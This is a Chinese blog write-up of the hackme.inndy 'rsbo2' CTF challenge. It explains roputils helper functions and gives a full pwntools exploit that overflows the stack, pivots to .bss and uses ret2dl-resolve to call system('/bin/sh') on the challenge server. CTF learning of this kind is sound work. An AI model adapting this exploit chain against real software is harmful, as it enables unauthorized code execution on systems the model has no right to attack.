hackme.inndy rsbo2 经验总结

这题想用retdl-resolve 来解题,可是自己手写的脚本过不了,搜过其他的wp,发现有很多种解法,利用DynELF泄露libc地址, 或利用write直接泄露libc地址(题目给了libc),但是我就是想用栈迁移和retdl-resolve解题,但是搜到的wp几乎都用了roputils工具,这工具我不会用也没搜到什么教程,然后经过一段时间的无能狂怒之后最后决定求人不如求己,自己去看roputils的源码自己钻
roputils源码

参考的wp:
https://blog.csdn.net/charlie_heng/article/details/78947199

1.rop.fill()
源代码如下:

    def fill(self, size, buf=''):
        chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        buflen = size - len(buf)
        assert buflen >= 0, "%d bytes over" % (-buflen,)
        return ''.join(random.choice(chars) for i in xrange(buflen))

作用比较好理解,就是在buf后面添加字符,知道buf的长度达到size为止
例子:
在这里插入图片描述
2.rop.call()
源代码如下:

    def call(self, addr, *args):
        if isinstance(addr, str):
            addr = self.plt(addr)

        buf = self.p(addr)  //要调用的函数的地址
        buf += self.p(self.gadget('pop', n=len(args))) //类似于pppr的gadget,不过参数不确定,所以n=len(args), 最后会把该函数的参数全部弹出,rop.call()后面的即是返回地址
        buf += self.p(args)  //该函数的参数
        return buf

3.rop.dl_resolve_call()
源码如下:

    def align(self, addr, origin, size):    //数据对齐
        padlen = size - ((addr-origin) % size)  
        return (addr+padlen, padlen)
   def plt(self, name=None):
        if name:
            return self.offset(self._plt[name])
        else:
            return self.offset(self._section['.plt'][0])
    def dl_resolve_call(self, base, *args):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')

        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        reloc_offset = addr_reloc - jmprel

        buf = self.p(self.plt())   //在这里是plt表头的地址
        buf += self.p(reloc_offset)  //REL.PLT表距bss段的偏移
        buf += self.p(self.gadget('pop', n=len(args))) //system 函数的返回地址
        buf += self.p(args)  //'/bin/sh\0' 的地址

        return buf

base 参数是 伪造的.rel.plt 表项数据的地址
*args 参数是 /bin/sh\0 的地址

4.dl_resolve_data()
源代码如下:

    def dl_resolve_data(self, base, name):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')
        symtab = self.dynamic('SYMTAB')
        syment = self.dynamic('SYMENT')
        strtab = self.dynamic('STRTAB')

        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        addr_sym, padlen_sym = self.align(addr_reloc+relent, symtab, syment)
        addr_symstr = addr_sym + syment

        r_info = (((addr_sym - symtab) / syment) << 8) | 0x7
        st_name = addr_symstr - strtab

        buf = self.fill(padlen_reloc)  #由于数据对齐会导致数据产生偏移,在这里填充这个偏移来消除误差
        buf += struct.pack('<II', base, r_info)                      # Elf32_Rel
        buf += self.fill(padlen_sym)
        buf += struct.pack('<IIII', st_name, 0, 0, 0x12)             # Elf32_Sym
        buf += self.string(name)

        return buf

看代码可以看出是伪造关于动态链接的数据

最后是根据理解模仿的exp:
我觉得那个大佬的栈迁移对我来说有点绕,所以我改了一下,有点啰嗦但是觉得好理解

另外后面有些地方rop.fill()没用0x80 填充是因为read函数 会读取 0x80 个字符,用0x7f填充,加上后面的p.sendline() 的换行符就刚好0x80 个字符了

另外这题还有个不理解的地方
他们说用\x00 填充的原因是覆盖 v8的值好跳出for循环,但是仔细一想即使先覆盖了v8的值为0, 而v8被赋予的是read_80_bytes 函数的返回值,所以v8的值还是read函数实际读取的字符,并不会马上跳出循环,但是奇怪的是不用\x00 填充用’a’填充 在rsbo 中无法getflag,如果有知道的人麻烦告诉我一下,谢谢

from pwn import *
import roputils as rp

context(arch='i386', os='linux', log_level='debug')
#p = process("./rsbo2")
p = remote("hackme.inndy.tw", 7706)
rop = rp.ROP("./rsbo2")
elf = ELF("./rsbo2")

offset = 0x68
bss = elf.bss() + 0x800
plt_read = elf.plt['read']
start = 0x08048490
leaveret = 0x08048733

payload = '\x00'*(offset + 4) + p32(plt_read) + p32(start) + p32(0) + p32(bss) + p32(0x80)
p.send(payload)

rop_data = 'a'*0x4 + rop.call('read', 0, bss+180, 0x80) + rop.dl_resolve_call(bss+200, bss+180)
rop_data += rop.fill(0x7f, rop_data)
sleep(2)
p.sendline(rop_data)

payload = '\x00'*offset + p32(bss) + p32(leaveret) + (0x80 - len(payload))*'a'
sleep(2)
p.send(payload)

bss_data = '/bin/sh\0'
bss_data += rop.fill(20, bss_data)
bss_data += rop.dl_resolve_data(bss+200, 'system')
bss_data += rop.fill(0x7f, bss_data)
sleep(2)
p.sendline(bss_data)

p.interactive()

结果:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值